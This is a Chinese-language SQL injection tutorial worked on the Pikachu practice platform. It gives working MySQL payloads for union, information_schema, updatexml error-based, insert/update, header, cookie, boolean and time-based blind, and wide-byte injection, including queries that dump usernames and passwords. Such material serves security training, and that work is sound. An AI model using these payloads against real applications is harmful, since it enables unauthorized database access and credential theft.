发动SQL注入要做的三件事
- 确定Web应用程序所使用的技术
为了确定所采用的技术,攻击者可以考察Web页面的页脚,查看错误页面,检查页面源代码,或者使用诸如Nessus、AWVS、APPSCAN等工具来进行刺探。
- 确定所有可能的输入方式
一般来说,所有HTTP的GET和POST都应当作用户输入。为了找出一个Web应用所有可能的用户输入,我们可以求助于Web代理,如Burp等。
- 查找可以用于注射的用户输入
在找出所有用户输入方式后,就要对这些输入方式进行筛选,找出其中可以注入命令的那些输入方式,多留意Web应用的错误页面。
SQL注入前准备:
-
取消:显示友好HTTP错误信息的选项
防止http界面不提示错误。
数字型注入
数据库中数字型sql注入,输入or 1=1之后全部显示出来了。
下面我们通过burp抓包输入一个or 1=1设置一个payload,点击提交后,在Render中查看结果。通过判断存在SQL注入,且为数字型注入,可以通过拼接SQL语句来实现注入。
字符型注入
pikachu平台,在SQL-Inject下选择字符型注入。输入在之前我们已经知道的一个id,登录成功。
数据库中,我们发现这个语句存在问题,发现这个语句的vince or 1=1是直接被认作字符串,我们在vince后面添加单引号来闭合vince,再在1=1后面添加注释#来消除掉后面的单引号,这样来完成一个SQL语句的拼接合法性。完整的语句为
select id,email from member where username='vince‘ or 1=1#'
union注入
- union操作符用于合并两个或多个SQL语句集合起来,得到联合的查询结果。
因为查询的字段不能超过主查询的字段,这个时候可以在SQL语句后面加order by进行排序,通过这个办法可以判断主查询的字段。
注:union操作符一般与order by语句配合使用.
输入a' order by 4#%,反馈如图:
输入a' order by 3#%,反馈如图:
通过这个简单的办法找到主查询一共有三个字段。之后我们来使用union来做一个SQL语句的拼接。输入构造好的语句a' union select database(),user(),version()#%尝试:
information_schema注入
- information_schema数据库是MySQL系统自带的数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。(比较常用!)
通过information_schema注入,我们可以将整个数据库内容全部窃取出来, 使用order by来判断查询的字段。先找出数据库的名称,输入
vince' union select database(),user(),3#%
获取pikachu数据库的表名,输入:
u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#
获取pikachu数据库的字段名,输入:
k' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%
获取字段值的内容,输入:
kobe'union select username ,password,3 from users#%
基于函数报错
- 在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的select/insert/update/delete注入都可以使用报错方式来获取信息。
适用场景:后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端.
- 常用报错函数:基于报错的信息获取
1、updatexml():函数是MYSQL对XML文档数据进行查询和修改的XPATH函数.
2、extractvalue() :函数也是MYSQL对XML文档数据进行查询的XPATH函数.
3、floor():MYSQL中用来取整的函数.
1、爆数据库版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
2、爆数据库当前用户
k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#
3、爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
4、爆表
k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 2,1)),1)#
insert注入
- 前端注册的信息最终会被后台通过insert这个操作插入数据库,后台在接受前端的注册数据时没有做防SQL注入的处理,导致前端的输入可以直接拼接SQL到后端的insert相关内容中,导致了insert注入。
到数据库中输入insert into member (username,pw,sex,phonenum,email,address) values('oldboy',123456,1,2,3,4);来插入一个用户,在输入select * from member;查看所有用户
- 注入点爆表名
oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
- 注入点爆破列
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
update注入
与insert注入的方法大体相同,区别在于update用于用户登陆端,insert用于用于用户注册端。
' or updatexml(0,concat(0x7e,(database())),0) or'
delete注入
应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过Brup Suite抓包,对数据包相关delete参数进行注入,注入方法如下:
Http Header注入
pikachu平台打开Http Header注入模块,点击提示查看登录帐号和密码,登陆后去BurpSuite中找到登陆地GET请求,把请求发送到Repeater模块中,去除User-Agent:Mozilla/5.0后内容,然后Mozilla/5.0输入' or updatexml(1,concat(0x7e,database ()),0) or ' ,运行后观察MYSQL语法报错然后发现存在SQL注入漏洞。
Cookie注入
Cookie是网站为了识别用户身份来跟踪会话的,虽然Cookie是由后端生成的,但每次页面跳转,后端都回对前端的Cookie的信息进行验证,但如果后端获取Cookie后放在数据库中进行拼接,那么这也将是一个SQL注入点。
Boolian(布尔型)盲注
盲注,即在SQL注入过程中,SQL语句执行选择后,选择的数据不能回显到前端,我们需要使用一些特殊的方法进行判断或尝试,这个过程称为盲注(看不到结果)。
SQL盲注分为三大类:基于布尔型SQL盲注、基于时间型SQL盲注、基于报错型SQL盲注
- 通过嗅探得出数据库名称:(vince' and ascii(substr(database(),1,1))>XX)通过对比ascii码的长度,判断出数据库表名的第一个字符。
输入语句select ascii(substr(database(),1,1))>xx;
base on time(时间型)盲注
- 判断是否存在注入点,如果存在注入点则该界面会查询6秒(6秒是参数中设置的查询时间)(vince' and sleep(6)#)
注意:Asc码盲注不不适用于 时间型盲注。
到base on time盲注下,输入上个演示中设置好的payload vince' and ascii(substr(database(),1,1))=112#,返回的信息发现不存在注入点。那这样就不能进行注入了?但其实可以通过后端的执行时间来进行注入。这里会用到的payload: vince' and sleep(x)#
宽字节注入
当我们把php.ini文件里面的magic_quotes_gqc参数设为ON时,所有的'(单引号),"(双引号),(反斜杠)和null字符都会被自动加上一个反斜杠进行转义。还有很多函数有类似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string()等,另外还有parse_str()后的变量也受magic_quotes_gpc的影响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量,这看上去很安全,很多漏洞查找者或者工具遇到这些函数过滤后的变量直接就放弃,但是就在他们放弃的同时也放过很多致命的安全漏洞。
- 宽字节注入(kobe%df' or 1=1#)